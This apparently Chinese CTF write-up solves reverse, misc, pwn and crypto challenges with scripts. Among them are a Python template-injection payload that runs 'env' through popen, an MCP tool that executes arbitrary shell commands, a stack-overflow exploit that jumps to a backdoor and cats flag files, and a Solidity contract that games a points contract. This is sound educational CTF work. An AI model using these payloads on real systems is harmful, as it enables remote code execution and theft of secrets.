x = (uint8_t)(x + (((++b) & 0xFF) + i * i));
uint8_t out = (uint8_t)(((x >> 5) | (x << 3)) & 0xFF);
b ^= 0x1A373;
b++;
b ^= 0x1A373;
b++;

*pb = b;
return out;
}

int main(void)
{
uint8_t flag[N + 1] = {0};
uint32_t b = 0;

for (int i = 0; i < N; i++) {
uint32_t b_start = b;
int found = 0;

for (int ch = 0; ch < 128; ch++) {
uint32_t bt = b_start;
uint8_t out = encrypt_byte((uint8_t)ch, &bt, i);

if (out == enc[i]) {
flag[i] = (uint8_t)ch;
b = bt;
found = 1;
break;
}
}

if (!found) {
printf("\n[!] position %d no candidate found\n", i);
break;
}
}

flag[N] = '\0';
printf("%s\n", flag);
return 0;
}

re-QYQSの奇妙冒险

在ida中找到main函数

发现主要加密都是通过异或来实现的

所以我们只需要把我们输入的内容patch成密文,经过异或就能还原出结果

re-Gensh1n

在ida中找到main函数

通过分析发现一开始就是让我们输入geek2025

但flag并不是这个

在我们输入正确的内容之后发现程序并没有结束,貌似好像还要再输入一些数据才会退出,所以推测main函数不是最主要的加密函数,真正的加密函数应该还在程序某处,而且第二次输入的数据应该才是真正的flag,而main函数最后就多出了

这个函数的作用不知道是什么

所以尝试交叉引用一下

发现还有另一个函数也引用了它,所以跟进去看看

发现是rc4加密,密钥就是我们一开始输入的geek2025

密文在result中

所以用cyberchef直接解

re-Mission Ghost Signal

解压出来两个程序,压缩包解压需要密码,encode.exe是一个密码验证程序,这个密码应该就是压缩包解压的密码

这里很明显就是一个AES-128-CBC 加密校验,1145141145144332是IV,Syclover2025Geek是KEY,但用的是自定义的sbox

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decrypt the 32-byte ciphertext from the challenge using the exact block
cipher described by the reversed code:
- AES-like structure (Nr=10, 128-bit key), CBC mode
- Custom S-box: S[x] = 0xA7 ^ (x' ^ ROL1(x') ^ ROL2(x') ^ ROL3(x') ^ ROL4(x')),
where x' = x^(253) in GF(2^8) with modulus 0x11B, and x=0 -> x'=0
- Key schedule uses the same S-box (SubWord/RotWord/Rcon)
"""

from typing import List

# ---------- GF(2^8) arithmetic (AES polynomial 0x11B) ----------
def rotl8(x: int, n: int) -> int:
return ((x << n) | (x >> (8 - n))) & 0xFF

def xtime(x: int) -> int:
return ((x << 1) ^ (0x1B if (x & 0x80) else 0)) & 0xFF

def gf_mul(a: int, b: int) -> int:
res = 0
x = a & 0xFF
y = b & 0xFF
while y:
if y & 1:
res ^= x
x = xtime(x)
y >>= 1
return res

def gf_pow_253(a: int) -> int:
"""Match sub_4014F6(): for a!=0 returns a^253; for a==0 returns 0."""
if a == 0:
return 0
v = 1
for _ in range(253): # 0..252 inclusive
v = gf_mul(v, a)
return v

# ---------- S-box (and inverse) from the binary ----------
def build_sboxes(constant: int = 0xA7):
S = [0]*256
Si = [0]*256
for i in range(256):
inv = gf_pow_253(i) # NOTE: 253, not 254
L = inv ^ rotl8(inv,1) ^ rotl8(inv,2) ^ rotl8(inv,3) ^ rotl8(inv,4)
s = constant ^ L
S[i] = s
Si[s] = i
return S, Si

SBOX, INV_SBOX = build_sboxes(0xA7)

# ---------- Key schedule (matches sub_4019B7) ----------
RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36] # 0..10

def sub_word(word: List[int]) -> List[int]:
return [SBOX[b] for b in word]

def rot_word(word: List[int]) -> List[int]:
return [word[1], word[2], word[3], word[0]]

def expand_key(key: bytes) -> List[List[int]]:
assert len(key) == 16
# W: 44 words, each word is 4 bytes
W = [[0,0,0,0] for _ in range(44)]
for i in range(4):
W[i] = [key[4*i + 0], key[4*i + 1], key[4*i + 2], key[4*i + 3]]
for j in range(4, 44):
temp = W[j-1][:]
if j % 4 == 0:
temp = sub_word(rot_word(temp))
temp[0] ^= RCON[j//4]
W[j] = [ (W[j-4][k] ^ temp[k]) & 0xFF for k in range(4) ]
# Round keys rk[0..10], each 16 bytes
rks = []
for r in range(11):
blk = []
for i in range(4):
blk.extend(W[4*r + i])
rks.append(blk) # 16 ints
return rks

# ---------- Round transforms ----------
def add_round_key(state: List[int], rk: List[int]) -> None:
for i in range(16):
state[i] ^= rk[i]

def inv_shift_rows(s: List[int]) -> None:
# state is column-major: index = row + 4*col
# rotate right by row index
for row in range(1, 4):
rowbytes = [s[row + 4*c] for c in range(4)]
# right rotate by 'row'
rowbytes = rowbytes[-row:] + rowbytes[:-row]
for c in range(4):
s[row + 4*c] = rowbytes[c]

def inv_sub_bytes(s: List[int]) -> None:
for i in range(16):
s[i] = INV_SBOX[s[i]]

def inv_mix_columns(s: List[int]) -> None:
for c in range(4):
a0 = s[4*c+0]; a1 = s[4*c+1]; a2 = s[4*c+2]; a3 = s[4*c+3]
s[4*c+0] = (gf_mul(a0,0x0E) ^ gf_mul(a1,0x0B) ^ gf_mul(a2,0x0D) ^ gf_mul(a3,0x09)) & 0xFF
s[4*c+1] = (gf_mul(a0,0x09) ^ gf_mul(a1,0x0E) ^ gf_mul(a2,0x0B) ^ gf_mul(a3,0x0D)) & 0xFF
s[4*c+2] = (gf_mul(a0,0x0D) ^ gf_mul(a1,0x09) ^ gf_mul(a2,0x0E) ^ gf_mul(a3,0x0B)) & 0xFF
s[4*c+3] = (gf_mul(a0,0x0B) ^ gf_mul(a1,0x0D) ^ gf_mul(a2,0x09) ^ gf_mul(a3,0x0E)) & 0xFF

def block_decrypt(ct_block: bytes, round_keys: List[List[int]]) -> bytes:
s = list(ct_block)
# Start with last round key
add_round_key(s, round_keys[10])
inv_shift_rows(s)
inv_sub_bytes(s)
# Rounds 9..1
for r in range(9, 0, -1):
add_round_key(s, round_keys[r])
inv_mix_columns(s)
inv_shift_rows(s)
inv_sub_bytes(s)
# Final with rk[0]
add_round_key(s, round_keys[0])
return bytes(s)

# ---------- CBC & padding ----------
def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))

def cbc_decrypt(ct: bytes, iv: bytes, key: bytes) -> bytes:
assert len(iv) == 16 and len(ct) % 16 == 0
rks = expand_key(key)
out = bytearray()
prev = iv
for i in range(0, len(ct), 16):
block = ct[i:i+16]
dec = block_decrypt(block, rks)
out.extend(xor_bytes(dec, prev))
prev = block
return bytes(out)

def pkcs7_unpad(data: bytes, blocksize: int = 16) -> bytes:
if not data or len(data) % blocksize != 0:
raise ValueError("Invalid padded data length")
pad = data[-1]
if pad == 0 or pad > blocksize:
raise ValueError("Bad PKCS#7 padding value")
if data[-pad:] != bytes([pad])*pad:
raise ValueError("Bad PKCS#7 padding bytes")
return data[:-pad]

# ---------- Demo with your data ----------
if __name__ == "__main__":
key = b"Syclover2025Geek" # 16 bytes
iv = b"1145141145144332" # 16 bytes
ct = bytes([
0xB2, 0xB3, 0xDC, 0xB9, 0xF8, 0xD6, 0x93, 0xFF, 0xB5, 0xA1,
0xCC, 0x2A, 0x6F, 0xDE, 0x27, 0x44, 0xAF, 0x21, 0x98, 0xDD,
0x00, 0xC1, 0x0D, 0x1C, 0x53, 0x06, 0x81, 0x3E, 0x16, 0xAB,
0xDF, 0x13
])

pt = cbc_decrypt(ct, iv, key)
print("Plain (hex):", pt.hex())
try:
print("Plain (raw):", pt.decode('utf-8', errors='replace'))
except Exception:
pass

try:
unpadded = pkcs7_unpad(pt, 16)
print("Unpadded (hex):", unpadded.hex())
print("Unpadded (raw):", unpadded.decode('utf-8', errors='replace'))
print("Password (len={}): {}".format(len(unpadded), unpadded))
except Exception as e:
print("Padding check failed:", e)

解压之后是一个wav文件

把这个文件丢给ai帮忙分析

之后我用RX-SSTV提取出来了一个二维码图片

temp

扫码之后下载了一个secret.zip

解压hi后还是一个wav文件,点开听发现是摩斯电码

直接让ai帮我解摩斯电码

re-QYQSの奇妙冒险2

直接在字符串里面搜索

这就是flag

re-GeekBinder

re-ez_vm

这题有点运气成分,把代码丢给ai,说要和0x5a进行异或

并且说密文长度为29

推测这个为密文

用SYC{为前缀进行猜测,和0x5a异或

发现和正确的密文之前就差了3

所以

re-ez_android

先在手机端查看,发现flag有三个块

接着在mainactivity分析,发现主要逻辑可能在second中

接着进second分析

找到这个关键点

跟到cryptoprocessor中

用jadx反编译有报错,就在smali中看smali语法

发现这里指定了路径,在资源文件中找

找到了对应的密文

接着找每一部分对应的加密方法

当时找了半天找不到在哪

所以试着在so文件里面碰碰运气,发现有一个libfunction3.so

所以在java中搜了搜function

function1用DES/ECB/NoPadding

先把flag1 16进制转字符串

解出flag1

进ida分析libwrapper.so

在里面找到function2

光看这个代码发现function2其实什么都没有

接着在Funtion name里面找到了一个可疑函数decrypt_xor

跟进去看

接着往上跟

发现这个程序其实是把encrypted_so这个数据和0xAA异或进行解密,才能显示正确的逻辑

这里直接用idapython把so文件还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import ida_name
import ida_bytes
import ida_kernwin
import ida_idaapi

def dump_encrypted_so(symbol_data="encrypted_so",
symbol_len="encrypted_so_len",
xor_key=0xAA):
# 找加密数据起始地址
enc_ea = ida_name.get_name_ea(ida_idaapi.BADADDR, symbol_data)
if enc_ea == ida_idaapi.BADADDR:
print(f"[!] 找不到符号 {symbol_data}")
return

# 找长度(假设是 4 字节小端整型:C0 1A 00 00 -> 0x1AC0)
len_ea = ida_name.get_name_ea(ida_idaapi.BADADDR, symbol_len)
if len_ea == ida_idaapi.BADADDR:
print(f"[!] 找不到符号 {symbol_len}")
return

enc_len = ida_bytes.get_wide_dword(len_ea)
if not enc_len or enc_len <= 0:
print(f"[!] 长度异常: {enc_len}")
return

print(f"[*] {symbol_data} @ 0x{enc_ea:X}")
print(f"[*] {symbol_len} = 0x{enc_len:X} ({enc_len} bytes)")

# 读取并解密
buf = bytearray()
for i in range(enc_len):
b = ida_bytes.get_byte(enc_ea + i)
if b == 0xFF and ida_bytes.is_unknown(ida_bytes.get_full_flags(enc_ea + i)):
# 理论上不会触发,只是防止乱读
print(f"[!] 读到未定义字节 @ 0x{enc_ea + i:X}")
break
buf.append(b ^ xor_key)

# 选择输出文件
out_path = ida_kernwin.ask_file(True, "decrypted_real.so", "保存解密后的 so 为")
if not out_path:
print("[!] 已取消保存文件")
return

with open(out_path, "wb") as f:
f.write(buf)

print(f"[*] 解密完成,已写出到: {out_path}")

if __name__ == "__main__":
dump_encrypted_so()

解密之后在ida里面找到function2

直接解rc4

接着看到libfunction3.so

知道是des加密,但是解半天解不出来,应该是在某个地方进行了魔改

由于des加密的对称性,所以就尝试用hook的方式,把flag3丢给des_crypt进行解密

这里需要注意的是,需要解出前面两个空才会走到function3这个so文件里面,才能成功调用这个函数

re-obfuscat3

说是混淆,尝试动态调试进行分析

全输入1试试看先

把加密过后的数据提取出来

再全输入2试试看

发现两个数据之间的差和asc码之间的差是一样的,如此可以根据密文来推算明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include<stdio.h>
int main(){
int a[]={
0x92, 0xA5, 0x57, 0x0A, 0xAD, 0x2C, 0xDF, 0x65, 0xBC, 0x8C,
0xE1, 0xE6, 0xAA, 0xED, 0xA7, 0x27, 0x0C, 0x14, 0x13, 0x0B,
0x8E, 0xC9, 0x1C, 0xDD, 0x47, 0x6A, 0xA7, 0xB9, 0xBB, 0xB6,
0x26, 0x27, 0xC2, 0x6C, 0x4F, 0xC0, 0x65, 0x23, 0x70, 0x53,
0xE9, 0x29, 0xD3, 0x9B, 0xF0, 0x35, 0xAC, 0xDD, 0x25, 0x0C,
0x11, 0x2E, 0x9B, 0x02, 0xC4, 0x46, 0x10, 0x48, 0xEB, 0x64,
0xB7, 0x4E, 0xD5, 0x4E, 0x75, 0xD8, 0xBA, 0x6B, 0x0E, 0x41,
0x34, 0xEA, 0x07, 0x22, 0x1A, 0x35, 0x84, 0xCB, 0x0D, 0x46,
0xD1, 0x03, 0x82, 0x84, 0x7C, 0x96, 0x8A, 0xC7, 0x7C, 0x00,
0xB5, 0x16, 0x41, 0xC1, 0xDF, 0xB5, 0x1E, 0x24, 0x01, 0x41,
0x9C, 0x9F, 0x48, 0xD1, 0x5E, 0x79, 0x19, 0x3D, 0x6A, 0x96,
0xB2, 0x50, 0xA9, 0x72, 0x63, 0x0A, 0xCA, 0x2C, 0x56, 0xC7,
0xD3, 0xEB, 0xC7, 0x95, 0x19, 0xDC, 0x85, 0xE9, 0x0C, 0x04,
0xEE, 0x05, 0xD9, 0xA3, 0x09, 0x01, 0xD4, 0xC8, 0xDB, 0x35,
0xB2, 0xF2, 0xDE, 0x47, 0x33, 0xA9, 0x30, 0x37, 0x5A, 0x92,
0x11, 0xFA, 0x40, 0x6F, 0xDA, 0x57, 0x61, 0x5C, 0x3D, 0xD0,
0x23, 0xE6, 0x00, 0x83, 0xE9, 0x87, 0x71, 0x3C, 0x13, 0xFC,
0x21, 0xDC, 0x98, 0x34, 0xDC, 0x51, 0x65, 0x10, 0x4D, 0xF6,
0x3C, 0xAA, 0x90, 0x95, 0x27, 0x61, 0x39, 0xE0, 0x3C, 0xD1,
0xD9, 0x5C, 0x0B, 0xA6, 0x7E, 0x0D, 0x4D, 0x66, 0xF9
};
int b[]={
0xB4, 0xCD, 0x69, 0x54, 0xBD, 0x67, 0x20, 0x9D, 0xF2, 0xC3,
0x24, 0x14, 0xC2, 0x1B, 0xE9, 0x6A, 0x44, 0x14, 0x4E, 0x39,
0xC5, 0xC8, 0x5B, 0x11, 0x75, 0xAD, 0xDE, 0xBB, 0xFE, 0xE4,
0x6E, 0x65, 0x06, 0x9A, 0x91, 0xFE, 0xA0, 0x68, 0xA4, 0x86,
0x17, 0x6C, 0x0A, 0xCF, 0x1E, 0x67, 0xE3, 0x0D, 0x60, 0x47,
0x13, 0x6B, 0xD1, 0x36, 0xF2, 0x77, 0x58, 0x76, 0x1E, 0x98,
0xF5, 0x7F, 0x0A, 0x92, 0xB7, 0x0A, 0xEA, 0xAE, 0x46, 0x7E,
0x6A, 0x18, 0x4A, 0x59, 0x4E, 0x71, 0xB2, 0xE1, 0x41, 0x7A,
0x0B, 0x31, 0xBA, 0xC6, 0xAA, 0xCF, 0xCE, 0x09, 0xBF, 0x2E,
0xF8, 0x4D, 0x75, 0xEF, 0x14, 0xED, 0x5F, 0x66, 0x44, 0x6F,
0xDE, 0xE2, 0x7C, 0x10, 0x8C, 0xB7, 0x4E, 0x6B, 0xB2, 0xD4,
0xF6, 0x91, 0xD7, 0x84, 0x86, 0x1F, 0xF8, 0x65, 0x94, 0x0B,
0x14, 0x28, 0xFB, 0xDD, 0x47, 0xF4, 0xC1, 0x17, 0x42, 0x3F,
0x1E, 0x38, 0x07, 0xBB, 0x37, 0x33, 0x12, 0x0C, 0x16, 0x68,
0xE0, 0x23, 0x12, 0x75, 0x72, 0xD9, 0x71, 0x7A, 0x88, 0xD0,
0x46, 0x28, 0x88, 0xAD, 0x1E, 0x98, 0x8F, 0x92, 0x7E, 0x0E,
0x69, 0x29, 0x37, 0xB1, 0xFF, 0xC5, 0xAF, 0x6F, 0x41, 0x37,
0x65, 0x0E, 0xD2, 0x62, 0x11, 0x8F, 0xA6, 0x3E, 0x95, 0xF5,
0x80, 0x9A, 0xDC
};
char c[184];
for(int i=0;i<183;i++){
c[i]='1';
}
for(int i=0;i<183;i++){
c[i]=c[i]+b[i]-a[i];
printf("%c",c[i]);
}
return 0;
}

re-国产の光

通过分析源代码可以知道用了AES CBC 加密,主要逻辑在libentry.so中,密码是welcometosyc2025,iv是helloimsamsarami

密文在

在这里找到base58和aes cbc加密的实现过程,base58变了个表

misc-HTTP

d参数一眼base64

全部拼一起

misc-🗃️🗃️

照片有exif信息,天坛公园

misc-evil_mcp

让ai写一个mcp的py代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from typing import Any
import subprocess

@tool(
name="cmd_exec_agent",
description="执行系统命令并返回结果(仅限安全环境)",
input_schema={
"type": "object",
"properties": {
"cmd": {
"type": "string",
"description": "要执行的系统命令,例如 'ls' 或 'pwd'"
}
},
"required": ["cmd"]
}
)
async def cmd_exec_agent(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
cmd = arguments["cmd"]
try:
# 执行命令并捕获输出
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True, timeout=5
)
output = result.stdout.strip() or result.stderr.strip() or "(无输出)"
except subprocess.TimeoutExpired:
output = "命令执行超时"
except Exception as e:
output = f"命令执行出错: {e}"

content = (
f"$ {cmd}\n"
f"输出:\n{output}\n"
f"session_id={context.session_id}, invocation_id={context.invocation_id}"
)
return ToolResult(content=content)

# 暴露工具实例
# tool = cmd_exec_agent

misc-Bite off picture

base64倒序

修改宽高

misc-Blockchain SignIn

查看交易

misc-1Z_Sign

可知该交易来自UniswapV4fee = 9900
UniswapV4池子的费率在内部都以「百万分之一」为单位进行存储和计算。
fee = 1 代表费率为0.0001%
那么
fee = 9900 代表费率为0.99%

misc-Dream

发现一个交易记录

发现在input里面

misc-Points

  • 通关条件是points[msg.sender] >= 25
  • msg.sender的初始points是0

函数

  • checkIn():要求满足lastSignin[msg.sender] + wait <= block.timestamp || lastSignin[msg.sender] == 0,用户的points+1,同时lastSignin[msg.sender] = block.timestamp;也就是说我们第一次调用该函数时是满足条件的,该函数限制我们的调用次数 — ==1==
  • transferPoints():target != address(0)要求目标地址为非零地址,当target的points= 0时,points[target] + transferpoints <= 3 要求目标地址所持有的points与msg.sender转入的points和不大于3,也就是说,当我们的目标地址所持有的points为0时(第一个调用这个函数),我们能在这个函数得到最高3points —==3==
  • buyPoints():我们初始是!isBuy所以是可以直接调用的,但要求我们持有的points大于3,且调用之后isBuy = true,限制我们只能调用一次 —==1==
  • checkUserContract():我们输入一个合约地址,该合约进行静态调用自身的getValue(),如果第一次返回0,第二次返回1,msg.sender的points加10 —==10==
  • good_luck():当我们持有的points == lucknum时,msg.sender的points加10,cast storage 读取lucknum的值为13 —==10==

思路

  • 先构造两个攻击合约 attack1attack2
    • attack1:只实现 getValue(),用途是作为 Points.checkUserContract() 的 target 参数之一。getValue() 的实现要能在目标合约对它做 两次 staticcall 时分别返回 0(第一次)和 1(第二次)。常见做法是让 getValue() 的返回依赖 gasleft() 或其它在两次调用之间可能不同的环境,可用 gasleft()第一次调用某地址gas fee 大于1000,再次访问gasfee小于1000,我们可以利用这一特质让其第一次返回0,第二次返回1。
    • attack2:作为“协调器/部署器”——负责部署 attack1(或其它 candidate),并在合适时机触发 Points.checkUserContract(address(attack1))。此外 attack2 可以包含另一版 getValue() 作为备用 candidate,使你可以用不同策略做多次尝试。
  • vm.startBroadcast()(脚本发起 EOA 开始广播)
  • 部署 Attack2Attack2 构造函数内部部署 Attack1
  • attack.attack()(由 Attack2 发起):
    • Attack2 调用了 points.checkUserContract(address(attack1))msg.sender = Attack2),如果 Attack1.getValue() 在两次 staticcall 中返回 0 then 1,那么 points[Attack2] += 10(Attack2 获得 10 分)。
    • 然后 Attack2 调用 points.transferPoints(tx.origin, 3),把 3 分从 Attack2 转给脚本发起的 EOA(前提:Attack2 有 >=3 分,EOA 当前分数为 0,因此接收限制 points[target] + 3 <= 3 被满足)。结果:Attack2 剩 7,EOA 得 3。
  • 脚本(EOA)调用 points.checkUserContract(address(attack))(此时 msg.sender = EOA,userContract = attack2):
    • Points 对 attack2.getValue() 做两次 staticcall;若这两个调用返回 0 then 1(Attack2.getValue 的实现与 Attack1 类似,依赖 gasleft),则 EOA 得 +10。结果:EOA 总分 = 3 + 10 = 13。
  • 脚本(EOA)调用 points.good_luck()
    • good_luck() 内部计算 targetpseudoRandom。你从 storage 读取到 luckynum = 13。因为此时 EOA 的 points = 13(正好等于 luckynum),在当前 block.timestamp 与哈希组合下 targetpseudoRandom 会相等,从而获得 +10。结果:EOA 分数 = 13 + 10 = 23。
  • 脚本调用 points.buyPoints()
    • points[EOA] >= 3(满足),isBuy 初始为 false,调用成功,isBuy = true,并且 points[EOA] += 1。结果:EOA = 23 + 1 = 24。
  • 脚本调用 points.checkIn()
    • 首次签到 lastSignin[EOA] == 0,调用成功,points[EOA] += 1。结果:EOA = 24 + 1 = 25。
  • 脚本调用 points.check()
    • require(points[msg.sender] >= 25) 满足,Flag[EOA] = true,通关完成。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
//sepolia address:0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C
import {Points} from "../src/contract.sol";
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

contract Hack is Script {
function run() external {
vm.startBroadcast();
Points points = Points(0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C);
Attack2 attack = new Attack2();
attack.attack();
points.checkUserContract(address(attack));
points.good_luck();
points.buyPoints();
points.checkIn();
points.check();
console.log(address(0x949AC2C16Ea7B0B003927Db532908Fc97090d9E5));
vm.stopBroadcast();
}
}

contract Attack1 {
uint256 private counter;
Points points = Points(0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C);

function getValue() public returns (uint256) {
uint256 startGas = gasleft();
uint256 bal = address(0x11111).balance;
uint256 usedGas = startGas - gasleft();
if (usedGas < 1000) {
return 1;
}
return 0;
}
function getaddress1() public view returns (address) {
return address(this);
}
}
contract Attack2 {
Points points = Points(0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C);
Attack1 attack1 = new Attack1();
uint256 private counter;

function getValue() public returns (uint256) {
uint256 startGas = gasleft();
uint256 bal = address(0x1111).balance;
uint256 usedGas = startGas - gasleft();
if (usedGas < 1000) {
return 1;
}
return 0;
}
function attack() public {
points.getUserPoints(address(this));
address attack = attack1.getaddress1();
points.checkUserContract(attack);
points.transferPoints(msg.sender, 3);
}
}

misc-Expression Parser

没有过滤挺简单的

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["popen"]('env').read()

misc-hidden

改后缀为zip,解压

第一部分

第二部分

缺少文件头

第三部分

misc-CRDT

ai

misc-Echo

依旧ai

misc-gift

是一个压缩包

文件尾部有base64

得到密码,解压是一个图片

fft隐写

MISC-describe_the_world

MCP直接解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from PIL import Image, ImageFont, ImageDraw
import math

font_path = "unifont-17.0.03.otf"
font_size = 16
font = ImageFont.truetype(font_path, font_size)

with open("data.txt", "r", encoding="utf-8") as f:
data = f.read()

unique_chars = sorted(list(set(data)))
print(f"Unique chars: {len(unique_chars)}")

char_brightness = {}

for char in unique_chars:
# Create a small image to render the char
# Unifont chars are at most 16x16
img = Image.new("L", (16, 16), 0) # Black background
draw = ImageDraw.Draw(img)

# Draw white text
# Note: coordinates might need adjustment depending on font metrics
draw.text((0, 0), char, font=font, fill=255)

# Count non-zero pixels
pixels = list(img.getdata())
count = sum(1 for p in pixels if p > 128) # Threshold

char_brightness[char] = count

# Analyze brightness distribution
brightness_values = list(char_brightness.values())
print(f"Min brightness: {min(brightness_values)}")
print(f"Max brightness: {max(brightness_values)}")

# If max is around 256, we can use it directly.
# If max is small (e.g. 128), we might need to scale.

# Try to generate image
# 1440000 pixels -> 1200 x 1200
width = 1200
height = 1200

if len(data) != width * height:
print(f"Warning: Data length {len(data)} does not match {width}x{height}")
# Try 1600x900
width = 1600
height = 900
print(f"Generating {width}x{height} image")

out_img = Image.new("L", (width, height))
pixels = []
for char in data:
pixels.append(char_brightness[char])

# Normalize
min_val = min(brightness_values)
max_val = max(brightness_values)
print(f"Normalizing from [{min_val}, {max_val}] to [0, 255]")

normalized_pixels = []
for p in pixels:
norm_p = int((p - min_val) / (max_val - min_val) * 255)
normalized_pixels.append(norm_p)

out_img_norm = Image.new("L", (width, height))
out_img_norm.putdata(normalized_pixels)
out_img_norm.save("result_norm.png")
print("Saved result_norm.png")

# Try 1600x900
width = 1600
height = 900
print(f"Generating {width}x{height} image")

out_img_1600 = Image.new("L", (width, height))
out_img_1600.putdata(pixels)
out_img_1600.save("result_1600x900.png")

# Normalize
normalized_pixels = []
for p in pixels:
norm_p = int((p - min_val) / (max_val - min_val) * 255)
normalized_pixels.append(norm_p)

out_img_1600_norm = Image.new("L", (width, height))
out_img_1600_norm.putdata(normalized_pixels)
out_img_1600_norm.save("result_1600x900_norm.png")
print("Saved result_1600x900_norm.png")

# Apply Gamma Correction to brighten the image
gamma = 0.4 # Value < 1.0 brightens the image
print(f"Applying Gamma Correction (gamma={gamma})")
gamma_pixels = []
for p in pixels:
# Normalize to 0-1 first
norm = (p - min_val) / (max_val - min_val)
# Apply gamma
corrected = math.pow(norm, gamma)
# Scale back to 0-255
gamma_pixels.append(int(corrected * 255))

out_img_gamma = Image.new("L", (width, height))
out_img_gamma.putdata(gamma_pixels)
out_img_gamma.save("result_gamma.png")
print("Saved result_gamma.png")

# Apply Histogram Equalization (Rank-based mapping)
print("Applying Histogram Equalization")
# Sort unique brightness values
sorted_unique_brightness = sorted(list(set(brightness_values)))
# Map each brightness value to a rank (0-255)
brightness_rank = {val: int(i * 255 / (len(sorted_unique_brightness) - 1))
for i, val in enumerate(sorted_unique_brightness)}

equalized_pixels = [brightness_rank[p] for p in pixels]

out_img_eq = Image.new("L", (width, height))
out_img_eq.putdata(equalized_pixels)
out_img_eq.save("result_equalized.png")
print("Saved result_equalized.png")

解出来大概的轮廓,大概能瞪出来

misc-4ak5ra

使用010打开图片,发现图片尾包含一个zip

提取出来解压

lsb隐写

MISC-问卷

misc-monitoring

手绘大法

pwn-Mission Cipher Text

ida-mcp加ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from pwn import *

# 目标信息
HOST = 'geek.ctfplus.cn'
PORT = 31936

# 漏洞分析:
# 1. submit_feedback() 函数中存在栈溢出漏洞
# - buf 大小为 32 字节
# - read(0, buf, 0x100) 读取 256 字节,明显溢出
# 2. 存在后门函数 b4ckd00r @ 0x4014ab,可以直接获取 shell
# 3. 程序关闭了 stdout (close(1)),但保留了 stderr

context.arch = 'amd64'
context.log_level = 'info'

# 连接到远程服务器
io = remote(HOST, PORT)

# 接收菜单
io.recvuntil(b'choice > ')

# 选择选项 2:提交反馈 (submit_feedback)
io.sendline(b'2')

# 接收提示
io.recvuntil(b'Please enter your feedback:')

# 构造 payload
# 栈布局:
# [buf: 32 bytes][rbp: 8 bytes][ret: 8 bytes]
backdoor_addr = 0x4014ab
ret_gadget = 0x40101a # ret gadget 用于栈对齐

payload = b'A' * 32 # 填充 buf
payload += b'B' * 8 # 覆盖 rbp
payload += p64(ret_gadget) # 先返回到 ret gadget 进行栈对齐
payload += p64(backdoor_addr) # 然后跳转到 b4ckd00r

log.info(f"Payload length: {len(payload)}")
log.info(f"Backdoor address: {hex(backdoor_addr)}")

# 发送 payload
io.send(payload)

# 等待 shell
time.sleep(0.5)

# 获取 shell 后执行命令
log.success("Get shell! Searching for flag...")

# 因为 stdout 被关闭,我们需要将输出重定向到 stderr (文件描述符 2)
# 或者直接读取文件内容并通过其他方式输出

# 尝试读取 flag - 使用 stderr 输出
commands = [
b'cat flag 1>&2',
b'cat /flag 1>&2',
b'cat flag.txt 1>&2',
b'ls -la 1>&2',
b'cat /home/*/flag 1>&2',
]

for cmd in commands:
log.info(f"Trying command: {cmd.decode()}")
io.sendline(cmd)
time.sleep(0.3)

io.interactive()

pwn-Mission Calculator

AI+MCP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('geek.ctfplus.cn', 31003)

p.recvuntil(b'Press any key to start...')
p.sendline()
for i in range(1, 51):
p.recvuntil(f'Problem {i}: '.encode())
line = p.recvuntil(b' = ', drop=True)
nums = line.split(b' * ')
num1 = int(nums[0])
num2 = int(nums[1])
result = num1 * num2
p.sendline(str(result).encode())

p.interactive()

crypto-ez_xor

crypto-Caesar Slot Machine

1
2
3
4
5
6
7
8
9
10
11
12
